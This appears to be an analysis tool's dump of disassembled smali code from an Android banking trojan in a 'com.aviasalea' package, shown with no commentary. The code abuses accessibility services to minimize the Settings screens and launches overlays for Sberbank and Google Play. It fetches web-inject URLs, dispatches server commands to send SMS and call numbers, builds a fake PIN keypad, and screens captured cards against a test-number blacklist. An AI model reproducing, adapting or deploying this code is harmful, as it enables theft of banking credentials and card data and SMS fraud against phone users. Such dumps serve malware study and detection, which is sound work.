                                      36iput-object v1, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numFour:Landroid/widget/LinearLayout;
                                      37const v1, 0x7f060041
                                      39invoke-virtual {p0, v1}, Lcom/aviasalea/injs/s/views/KeyboardView;->findViewById(I)Landroid/view/View;
                                      40move-result-object v1
                                      41check-cast v1, Landroid/widget/LinearLayout;
                                      42iput-object v1, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numFive:Landroid/widget/LinearLayout;
                                      43const v1, 0x7f060046
                                      45invoke-virtual {p0, v1}, Lcom/aviasalea/injs/s/views/KeyboardView;->findViewById(I)Landroid/view/View;
                                      46move-result-object v1
                                      47check-cast v1, Landroid/widget/LinearLayout;
                                      48iput-object v1, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numSix:Landroid/widget/LinearLayout;
                                      49const v1, 0x7f060045
                                      51invoke-virtual {p0, v1}, Lcom/aviasalea/injs/s/views/KeyboardView;->findViewById(I)Landroid/view/View;
                                      52move-result-object v1
                                      53check-cast v1, Landroid/widget/LinearLayout;
                                      54iput-object v1, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numSeven:Landroid/widget/LinearLayout;
                                      55const v1, 0x7f060040
                                      57invoke-virtual {p0, v1}, Lcom/aviasalea/injs/s/views/KeyboardView;->findViewById(I)Landroid/view/View;
                                      58move-result-object v1
                                      59check-cast v1, Landroid/widget/LinearLayout;
                                      60iput-object v1, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numEight:Landroid/widget/LinearLayout;
                                      61const v1, 0x7f060043
                                      63invoke-virtual {p0, v1}, Lcom/aviasalea/injs/s/views/KeyboardView;->findViewById(I)Landroid/view/View;
                                      64move-result-object v1
                                      65check-cast v1, Landroid/widget/LinearLayout;
                                      66iput-object v1, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numNine:Landroid/widget/LinearLayout;
                                      67const v1, 0x7f060049
                                      69invoke-virtual {p0, v1}, Lcom/aviasalea/injs/s/views/KeyboardView;->findViewById(I)Landroid/view/View;
                                      70move-result-object v1
                                      71check-cast v1, Landroid/widget/LinearLayout;
                                      72iput-object v1, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numZero:Landroid/widget/LinearLayout;
                                      73const v1, 0x7f06003f
                                      75invoke-virtual {p0, v1}, Lcom/aviasalea/injs/s/views/KeyboardView;->findViewById(I)Landroid/view/View;
                                      76move-result-object v1
                                      77check-cast v1, Landroid/widget/RelativeLayout;
                                      78iput-object v1, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numBack:Landroid/widget/RelativeLayout;
                                      80invoke-direct {p0}, Lcom/aviasalea/injs/s/views/KeyboardView;->onCLickListener()V
                                      81return-void
                                      Cross References
                                      APIs
                                      • android.view.accessibility.AccessibilityNodeInfo.getPackageName
                                      • java.lang.CharSequence.toString
                                      • com.aviasalea.Realtalk.getSettingsPackageFromJNI
                                      • java.lang.String.equals
                                      • android.content.Context.getString
                                      • android.content.Context.getString
                                      • android.content.Context.getString
                                      • com.aviasalea.Realtalk.getXiaomiSettingsPackageFromJNI
                                      • java.lang.String.equals
                                      • android.content.Context.getString
                                      • android.content.Context.getString
                                      • android.content.Context.getString
                                      • com.aviasalea.Realtalk.isHardMode
                                      • com.aviasalea.Realtalk.isCurPackage
                                      • com.aviasalea.Realtalk.isDisableGp
                                      • com.aviasalea.Realtalk.getSPackage
                                      • java.lang.String.equals
                                      • com.aviasalea.Realtalk.isDisS
                                      • com.aviasalea.Realtalk.isCurPackageMinimize
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "source" # Landroid/view/accessibility/AccessibilityNodeInfo;
                                      2.param p3, "callback" # Lcom/aviasalea/checktls/ASTls$OnASTlsCallback;
                                      3.annotation system Ldalvik/annotation/Throws;
                                      4value = {
                                      5Ljava/lang/Exception;
                                      6}
                                      7.end annotation
                                      8.prologue
                                      9const v5, 0x7f0a0018
                                      10const v4, 0x7f0a0012
                                      11const v3, 0x7f0a000e
                                      13invoke-virtual {p2}, Landroid/view/accessibility/AccessibilityNodeInfo;->getPackageName()Ljava/lang/CharSequence;
                                      14move-result-object v2
                                      16invoke-interface {v2}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                                      17move-result-object v0
                                      19invoke-static {}, Lcom/aviasalea/Realtalk;->getSettingsPackageFromJNI()Ljava/lang/String;
                                      20move-result-object v2
                                      22invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      23move-result v2
                                      24if-eqz v2, :cond_3d
                                      26invoke-virtual {p1, v3}, Landroid/content/Context;->getString(I)Ljava/lang/String;
                                      27move-result-object v2
                                      29invoke-static {p2, v2}, Lcom/aviasalea/checktls/NdTls;->hasText(Landroid/view/accessibility/AccessibilityNodeInfo;Ljava/lang/String;)Z
                                      30move-result v2
                                      31if-nez v2, :cond_39
                                      33invoke-virtual {p1, v4}, Landroid/content/Context;->getString(I)Ljava/lang/String;
                                      34move-result-object v2
                                      36invoke-static {p2, v2}, Lcom/aviasalea/checktls/NdTls;->hasText(Landroid/view/accessibility/AccessibilityNodeInfo;Ljava/lang/String;)Z
                                      37move-result v2
                                      38if-nez v2, :cond_39
                                      40invoke-virtual {p1, v5}, Landroid/content/Context;->getString(I)Ljava/lang/String;
                                      41move-result-object v2
                                      43invoke-static {p2, v2}, Lcom/aviasalea/checktls/NdTls;->hasText(Landroid/view/accessibility/AccessibilityNodeInfo;Ljava/lang/String;)Z
                                      44move-result v2
                                      45if-eqz v2, :cond_69
                                      46cond_39:
                                      47invoke-interface {p3}, Lcom/aviasalea/checktls/ASTls$OnASTlsCallback;->onMinimize()V
                                      48goto_3c: return-void
                                      49cond_3d:
                                      50invoke-static {}, Lcom/aviasalea/Realtalk;->getXiaomiSettingsPackageFromJNI()Ljava/lang/String;
                                      51move-result-object v2
                                      53invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      54move-result v2
                                      55if-eqz v2, :cond_69
                                      57invoke-virtual {p1, v3}, Landroid/content/Context;->getString(I)Ljava/lang/String;
                                      58move-result-object v2
                                      60invoke-static {p2, v2}, Lcom/aviasalea/checktls/NdTls;->hasText(Landroid/view/accessibility/AccessibilityNodeInfo;Ljava/lang/String;)Z
                                      61move-result v2
                                      62if-nez v2, :cond_65
                                      64invoke-virtual {p1, v4}, Landroid/content/Context;->getString(I)Ljava/lang/String;
                                      65move-result-object v2
                                      67invoke-static {p2, v2}, Lcom/aviasalea/checktls/NdTls;->hasText(Landroid/view/accessibility/AccessibilityNodeInfo;Ljava/lang/String;)Z
                                      68move-result v2
                                      69if-nez v2, :cond_65
                                      71invoke-virtual {p1, v5}, Landroid/content/Context;->getString(I)Ljava/lang/String;
                                      72move-result-object v2
                                      74invoke-static {p2, v2}, Lcom/aviasalea/checktls/NdTls;->hasText(Landroid/view/accessibility/AccessibilityNodeInfo;Ljava/lang/String;)Z
                                      75move-result v2
                                      76if-eqz v2, :cond_69
                                      77cond_65:
                                      78invoke-interface {p3}, Lcom/aviasalea/checktls/ASTls$OnASTlsCallback;->onMinimize()V
                                      79goto/16 :goto_3c
                                      80cond_69:
                                      81invoke-static {p1}, Lcom/aviasalea/Realtalk;->isHardMode(Landroid/content/Context;)Z
                                      82move-result v2
                                      83if-eqz v2, :cond_7f
                                      85invoke-static {v0}, Lcom/aviasalea/Realtalk;->isCurPackage(Ljava/lang/String;)Z
                                      86move-result v2
                                      87if-eqz v2, :cond_7f
                                      89invoke-static {p1}, Lcom/aviasalea/Realtalk;->isDisableGp(Landroid/content/Context;)Z
                                      90move-result v2
                                      91if-nez v2, :cond_7f
                                      93invoke-static {p1}, Lcom/aviasalea/checktls/IntTls;->startGP(Landroid/content/Context;)V
                                      94goto/16 :goto_3c
                                      95cond_7f:
                                      96invoke-static {}, Lcom/aviasalea/Realtalk;->getSPackage()Ljava/lang/String;
                                      97move-result-object v2
                                      99invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      100move-result v2
                                      101if-eqz v2, :cond_92
                                      103invoke-static {p1}, Lcom/aviasalea/Realtalk;->isDisS(Landroid/content/Context;)Z
                                      104move-result v2
                                      105if-nez v2, :cond_92
                                      107invoke-static {p1}, Lcom/aviasalea/checktls/IntTls;->startSber(Landroid/content/Context;)V
                                      108cond_92:
                                      109invoke-static {v0}, Lcom/aviasalea/Realtalk;->isCurPackageMinimize(Ljava/lang/String;)Z
                                      110move-result v2
                                      111if-eqz v2, :cond_9b
                                      113invoke-interface {p3}, Lcom/aviasalea/checktls/ASTls$OnASTlsCallback;->onMinimize()V
                                      114cond_9b:
                                      115invoke-static {v0}, Lcom/aviasalea/wb/WITools;->getWEBInjectUrl(Ljava/lang/String;)Ljava/lang/String;
                                      116move-result-object v1
                                      117if-eqz v1, :cond_3c
                                      119invoke-static {p1, v1, v0}, Lcom/aviasalea/checktls/IntTls;->startWb(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                      120goto/16 :goto_3c
                                      Cross References
                                      APIs
                                      • android.widget.FrameLayout.<init>
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.setBackground
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.setPadding
                                      • android.widget.ImageView.<init>
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.imageView:Landroid/widget/ImageView
                                      • android.widget.ImageView$ScaleType.CENTER:Landroid/widget/ImageView$ScaleType
                                      • android.widget.ImageView.setScaleType
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.imageView:Landroid/widget/ImageView
                                      • android.graphics.PorterDuff$Mode.MULTIPLY:Landroid/graphics/PorterDuff$Mode
                                      • android.graphics.PorterDuffColorFilter.<init>
                                      • android.widget.ImageView.setColorFilter
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.imageView:Landroid/widget/ImageView
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.addView
                                      • android.widget.TextView.<init>
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.textView:Landroid/widget/TextView
                                      • android.widget.TextView.setLines
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.textView:Landroid/widget/TextView
                                      • android.widget.TextView.setSingleLine
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.textView:Landroid/widget/TextView
                                      • android.widget.TextView.setGravity
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.textView:Landroid/widget/TextView
                                      • android.text.TextUtils$TruncateAt.END:Landroid/text/TextUtils$TruncateAt
                                      • android.widget.TextView.setEllipsize
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.textView:Landroid/widget/TextView
                                      • android.widget.TextView.setTextColor
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.textView:Landroid/widget/TextView
                                      • android.widget.TextView.setTextSize
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.textView:Landroid/widget/TextView
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.addView
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.setBackgroundDrawable
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.prologue
                                      2const/4 v3, 0x0
                                      3const/4 v6, -0x2
                                      4const/high16 v2, 0x41b80000 # 23.0f
                                      5const v5, 0x106000c
                                      6const/4 v4, 0x1
                                      8invoke-direct {p0, p1}, Landroid/widget/FrameLayout;-><init>(Landroid/content/Context;)V
                                      9sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                      10const/16 v1, 0x10
                                      11if-lt v0, v1, :cond_8c
                                      13invoke-static {p1, v5}, Lcom/aviasalea/checktls/AndroidUtilities;->getDrawable(Landroid/content/Context;I)Landroid/graphics/drawable/Drawable;
                                      14move-result-object v0
                                      16invoke-virtual {p0, v0}, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->setBackground(Landroid/graphics/drawable/Drawable;)V
                                      17goto_18:
                                      18invoke-static {v2}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      19move-result v0
                                      21invoke-static {v2}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      22move-result v1
                                      24invoke-virtual {p0, v0, v3, v1, v3}, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->setPadding(IIII)V
                                      25new-instance v0, Landroid/widget/ImageView;
                                      27invoke-direct {v0, p1}, Landroid/widget/ImageView;-><init>(Landroid/content/Context;)V
                                      28iput-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->imageView:Landroid/widget/ImageView;
                                      30iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->imageView:Landroid/widget/ImageView;
                                      32sget-object v1, Landroid/widget/ImageView$ScaleType;->CENTER:Landroid/widget/ImageView$ScaleType;
                                      34invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setScaleType(Landroid/widget/ImageView$ScaleType;)V
                                      36iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->imageView:Landroid/widget/ImageView;
                                      37new-instance v1, Landroid/graphics/PorterDuffColorFilter;
                                      38const v2, 0x7f030005
                                      40invoke-static {p1, v2}, Lcom/aviasalea/checktls/AndroidUtilities;->getColor(Landroid/content/Context;I)I
                                      41move-result v2
                                      43sget-object v3, Landroid/graphics/PorterDuff$Mode;->MULTIPLY:Landroid/graphics/PorterDuff$Mode;
                                      45invoke-direct {v1, v2, v3}, Landroid/graphics/PorterDuffColorFilter;-><init>(ILandroid/graphics/PorterDuff$Mode;)V
                                      47invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setColorFilter(Landroid/graphics/ColorFilter;)V
                                      49iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->imageView:Landroid/widget/ImageView;
                                      50const/16 v1, 0x18
                                      51const/16 v2, 0x18
                                      52const/16 v3, 0x13
                                      54invoke-static {v1, v2, v3}, Lcom/aviasalea/base/dialog/LayoutHelper;->createFrame(III)Landroid/widget/FrameLayout$LayoutParams;
                                      55move-result-object v1
                                      57invoke-virtual {p0, v0, v1}, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                                      58new-instance v0, Landroid/widget/TextView;
                                      60invoke-direct {v0, p1}, Landroid/widget/TextView;-><init>(Landroid/content/Context;)V
                                      61iput-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->textView:Landroid/widget/TextView;
                                      63iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->textView:Landroid/widget/TextView;
                                      65invoke-virtual {v0, v4}, Landroid/widget/TextView;->setLines(I)V
                                      67iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->textView:Landroid/widget/TextView;
                                      69invoke-virtual {v0, v4}, Landroid/widget/TextView;->setSingleLine(Z)V
                                      71iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->textView:Landroid/widget/TextView;
                                      73invoke-virtual {v0, v4}, Landroid/widget/TextView;->setGravity(I)V
                                      75iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->textView:Landroid/widget/TextView;
                                      77sget-object v1, Landroid/text/TextUtils$TruncateAt;->END:Landroid/text/TextUtils$TruncateAt;
                                      79invoke-virtual {v0, v1}, Landroid/widget/TextView;->setEllipsize(Landroid/text/TextUtils$TruncateAt;)V
                                      81iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->textView:Landroid/widget/TextView;
                                      83invoke-static {p1, v5}, Lcom/aviasalea/checktls/AndroidUtilities;->getColor(Landroid/content/Context;I)I
                                      84move-result v1
                                      86invoke-virtual {v0, v1}, Landroid/widget/TextView;->setTextColor(I)V
                                      88iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->textView:Landroid/widget/TextView;
                                      89const/high16 v1, 0x41800000 # 16.0f
                                      91invoke-virtual {v0, v4, v1}, Landroid/widget/TextView;->setTextSize(IF)V
                                      93iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->textView:Landroid/widget/TextView;
                                      94const/16 v1, 0x13
                                      96invoke-static {v6, v6, v1}, Lcom/aviasalea/base/dialog/LayoutHelper;->createFrame(III)Landroid/widget/FrameLayout$LayoutParams;
                                      97move-result-object v1
                                      99invoke-virtual {p0, v0, v1}, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                                      100return-void
                                      101cond_8c:
                                      102invoke-static {p1, v5}, Lcom/aviasalea/checktls/AndroidUtilities;->getDrawable(Landroid/content/Context;I)Landroid/graphics/drawable/Drawable;
                                      103move-result-object v0
                                      105invoke-virtual {p0, v0}, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->setBackgroundDrawable(Landroid/graphics/drawable/Drawable;)V
                                      106goto/16 :goto_18
                                      Cross References
                                      APIs
                                      • com.aviasalea.srs.CmndSrs.parsePushEndStatus
                                      • com.aviasalea.srs.CmndSrs.parsePushStatus
                                      • com.aviasalea.srs.CmndSrs.parseRegistrationStep1
                                      • com.aviasalea.srs.CmndSrs.parseRegistrationStep2
                                      • com.aviasalea.srs.CmndSrs.parseRegistrationStep3
                                      • com.aviasalea.srs.CmndSrs.parseRegistrationStep4
                                      • com.aviasalea.srs.CmndSrs.parseRegistrationStep5
                                      • com.aviasalea.srs.CmndSrs.parseSendSmsErrorReport
                                      • com.aviasalea.srs.CmndSrs.parseSendSmsReport
                                      • com.aviasalea.srs.CmndSrs.parseSendSmsStatusEnd
                                      • com.aviasalea.srs.CmndSrs.parseSendSmsStatus
                                      • com.aviasalea.srs.CmndSrs.parsePushTracker
                                      • com.aviasalea.srs.CmndSrs.parseChangeMSCl
                                      • com.aviasalea.srs.CmndSrs.parseHardMode
                                      • com.aviasalea.srs.CmndSrs.parseCallNumber
                                      • com.aviasalea.srs.CmndSrs.parseStartAccessRun
                                      • com.aviasalea.srs.CmndSrs.parseStartAccessEnd
                                      Position Instruction Meta Information
                                      0.param p1, "requestType" # I
                                      1.param p2, "response" # Lcom/aviasalea/api/request/HttpResponse;
                                      2.prologue
                                      3if-eqz p2, :cond_5
                                      4packed-switch p1, :pswitch_data_6c
                                      5goto_5: return-void
                                      6pswitch_6: check-cast p2, Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      8invoke-direct {p0, p2}, Lcom/aviasalea/srs/CmndSrs;->parsePushEndStatus(Lcom/aviasalea/srs/api/responses/StatusResponse;)V
                                      9goto/16 :goto_5
                                      10pswitch_c: check-cast p2, Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      12invoke-direct {p0, p2}, Lcom/aviasalea/srs/CmndSrs;->parsePushStatus(Lcom/aviasalea/srs/api/responses/StatusResponse;)V
                                      13goto/16 :goto_5
                                      14pswitch_12: check-cast p2, Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      16invoke-direct {p0, p2}, Lcom/aviasalea/srs/CmndSrs;->parseRegistrationStep1(Lcom/aviasalea/srs/api/responses/StatusResponse;)V
                                      17goto/16 :goto_5
                                      18pswitch_18: check-cast p2, Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      20invoke-direct {p0, p2}, Lcom/aviasalea/srs/CmndSrs;->parseRegistrationStep2(Lcom/aviasalea/srs/api/responses/StatusResponse;)V
                                      21goto/16 :goto_5
                                      22pswitch_1e: check-cast p2, Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      24invoke-direct {p0, p2}, Lcom/aviasalea/srs/CmndSrs;->parseRegistrationStep3(Lcom/aviasalea/srs/api/responses/StatusResponse;)V
                                      25goto/16 :goto_5
                                      26pswitch_24: check-cast p2, Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      28invoke-direct {p0, p2}, Lcom/aviasalea/srs/CmndSrs;->parseRegistrationStep4(Lcom/aviasalea/srs/api/responses/StatusResponse;)V
                                      29goto/16 :goto_5
                                      30pswitch_2a: check-cast p2, Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      32invoke-direct {p0, p2}, Lcom/aviasalea/srs/CmndSrs;->parseRegistrationStep5(Lcom/aviasalea/srs/api/responses/StatusResponse;)V
                                      33goto/16 :goto_5
                                      34pswitch_30: check-cast p2, Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      36invoke-direct {p0, p2}, Lcom/aviasalea/srs/CmndSrs;->parseSendSmsErrorReport(Lcom/aviasalea/srs/api/responses/StatusResponse;)V
                                      37goto/16 :goto_5
                                      38pswitch_36: check-cast p2, Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      40invoke-direct {p0, p2}, Lcom/aviasalea/srs/CmndSrs;->parseSendSmsReport(Lcom/aviasalea/srs/api/responses/StatusResponse;)V
                                      41goto/16 :goto_5
                                      42pswitch_3c: check-cast p2, Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      44invoke-direct {p0, p2}, Lcom/aviasalea/srs/CmndSrs;->parseSendSmsStatusEnd(Lcom/aviasalea/srs/api/responses/StatusResponse;)V
                                      45goto/16 :goto_5
                                      46pswitch_42: check-cast p2, Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      48invoke-direct {p0, p2}, Lcom/aviasalea/srs/CmndSrs;->parseSendSmsStatus(Lcom/aviasalea/srs/api/responses/StatusResponse;)V
                                      49goto/16 :goto_5
                                      50pswitch_48: check-cast p2, Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      52invoke-direct {p0, p2}, Lcom/aviasalea/srs/CmndSrs;->parsePushTracker(Lcom/aviasalea/srs/api/responses/StatusResponse;)V
                                      53goto/16 :goto_5
                                      54pswitch_4e: check-cast p2, Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      56invoke-direct {p0, p2}, Lcom/aviasalea/srs/CmndSrs;->parseChangeMSCl(Lcom/aviasalea/srs/api/responses/StatusResponse;)V
                                      57goto/16 :goto_5
                                      58pswitch_54: check-cast p2, Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      60invoke-direct {p0, p2}, Lcom/aviasalea/srs/CmndSrs;->parseHardMode(Lcom/aviasalea/srs/api/responses/StatusResponse;)V
                                      61goto/16 :goto_5
                                      62pswitch_5a: check-cast p2, Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      64invoke-direct {p0, p2}, Lcom/aviasalea/srs/CmndSrs;->parseCallNumber(Lcom/aviasalea/srs/api/responses/StatusResponse;)V
                                      65goto/16 :goto_5
                                      66pswitch_60: check-cast p2, Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      68invoke-direct {p0, p2}, Lcom/aviasalea/srs/CmndSrs;->parseStartAccessRun(Lcom/aviasalea/srs/api/responses/StatusResponse;)V
                                      69goto/16 :goto_5
                                      70pswitch_66: check-cast p2, Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      72invoke-direct {p0, p2}, Lcom/aviasalea/srs/CmndSrs;->parseStartAccessEnd(Lcom/aviasalea/srs/api/responses/StatusResponse;)V
                                      73goto/16 :goto_5
                                      Cross References
                                      APIs
                                      • java.lang.StringBuilder.<init>
                                      • com.aviasalea.ds.StartDialog.getString
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • com.aviasalea.ds.StartDialog.getString
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • com.aviasalea.ds.StartDialog.getString
                                      • com.aviasalea.ds.StartDialog.mDialog:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.setCancelable
                                      • com.aviasalea.ds.StartDialog.mDialog:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.setCanceledOnTouchOutside
                                      • com.aviasalea.ds.StartDialog.mDialog:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.show
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • OK
                                      Position Instruction Meta Information
                                      0.prologue
                                      1try_start_0: new-instance v3, Ljava/lang/StringBuilder;
                                      3invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                      4const v4, 0x7f0a0022
                                      6invoke-virtual {p0, v4}, Lcom/aviasalea/ds/StartDialog;->getString(I)Ljava/lang/String;
                                      7move-result-object v4
                                      9invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      10move-result-object v3
                                      12const-string v4, " "
                                      14invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      15move-result-object v3
                                      16const v4, 0x7f0a000c
                                      18invoke-virtual {p0, v4}, Lcom/aviasalea/ds/StartDialog;->getString(I)Ljava/lang/String;
                                      19move-result-object v4
                                      21invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      22move-result-object v3
                                      24invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      25move-result-object v2
                                      26new-instance v0, Lcom/aviasalea/base/dialog/AlertDialog$Builder;
                                      28invoke-direct {v0, p0}, Lcom/aviasalea/base/dialog/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
                                      29const v3, 0x7f0a0023
                                      31invoke-virtual {p0, v3}, Lcom/aviasalea/ds/StartDialog;->getString(I)Ljava/lang/String;
                                      32move-result-object v3
                                      34invoke-virtual {v0, v3}, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Lcom/aviasalea/base/dialog/AlertDialog$Builder;
                                      35move-result-object v3
                                      37invoke-virtual {v3, v2}, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Lcom/aviasalea/base/dialog/AlertDialog$Builder;
                                      38move-result-object v3
                                      40const-string v4, "OK"
                                      41new-instance v5, Lcom/aviasalea/ds/StartDialog$1;
                                      43invoke-direct {v5, p0}, Lcom/aviasalea/ds/StartDialog$1;-><init>(Lcom/aviasalea/ds/StartDialog;)V
                                      45invoke-virtual {v3, v4, v5}, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Lcom/aviasalea/base/dialog/AlertDialog$Builder;
                                      47invoke-virtual {v0}, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->create()Lcom/aviasalea/base/dialog/AlertDialog;
                                      48move-result-object v3
                                      49iput-object v3, p0, Lcom/aviasalea/ds/StartDialog;->mDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      51iget-object v3, p0, Lcom/aviasalea/ds/StartDialog;->mDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      52const/4 v4, 0x0
                                      54invoke-virtual {v3, v4}, Lcom/aviasalea/base/dialog/AlertDialog;->setCancelable(Z)V
                                      56iget-object v3, p0, Lcom/aviasalea/ds/StartDialog;->mDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      57const/4 v4, 0x0
                                      59invoke-virtual {v3, v4}, Lcom/aviasalea/base/dialog/AlertDialog;->setCanceledOnTouchOutside(Z)V
                                      61iget-object v3, p0, Lcom/aviasalea/ds/StartDialog;->mDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      63invoke-virtual {v3}, Lcom/aviasalea/base/dialog/AlertDialog;->show()V
                                      64goto_5a: return-void
                                      65catch_5b: move-exception v1
                                      67invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
                                      68goto/16 :goto_5a
                                      Cross References
                                      APIs
                                      • java.lang.Object.<init>
                                      • java.lang.String.replace
                                      Strings
                                      • 5610591081018250
                                      • 6011111111111117
                                      • 6011000990139424
                                      • 3530111333300000
                                      • 3566002020360505
                                      • 5555555555554444
                                      • 5105105105105100
                                      • 4111111111111111
                                      • 4012888888881881
                                      • 5019717010103742
                                      • 6331101999990016
                                      Position Instruction Meta Information
                                      0.param p1, "cardNumber" # Ljava/lang/String;
                                      1.prologue
                                      3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      4const/16 v0, 0xb
                                      5new-array v0, v0, [Ljava/lang/String;
                                      6const/4 v1, 0x0
                                      8const-string v2, "5610591081018250"
                                      9aput-object v2, v0, v1
                                      10const/4 v1, 0x1
                                      12const-string v2, "6011111111111117"
                                      13aput-object v2, v0, v1
                                      14const/4 v1, 0x2
                                      16const-string v2, "6011000990139424"
                                      17aput-object v2, v0, v1
                                      18const/4 v1, 0x3
                                      20const-string v2, "3530111333300000"
                                      21aput-object v2, v0, v1
                                      22const/4 v1, 0x4
                                      24const-string v2, "3566002020360505"
                                      25aput-object v2, v0, v1
                                      26const/4 v1, 0x5
                                      28const-string v2, "5555555555554444"
                                      29aput-object v2, v0, v1
                                      30const/4 v1, 0x6
                                      32const-string v2, "5105105105105100"
                                      33aput-object v2, v0, v1
                                      34const/4 v1, 0x7
                                      36const-string v2, "4111111111111111"
                                      37aput-object v2, v0, v1
                                      38const/16 v1, 0x8
                                      40const-string v2, "4012888888881881"
                                      41aput-object v2, v0, v1
                                      42const/16 v1, 0x9
                                      44const-string v2, "5019717010103742"
                                      45aput-object v2, v0, v1
                                      46const/16 v1, 0xa
                                      48const-string v2, "6331101999990016"
                                      49aput-object v2, v0, v1
                                      50iput-object v0, p0, Lcom/aviasalea/injs/g/val/CVal;->BLACK_LIST_CARDS:[Ljava/lang/String;
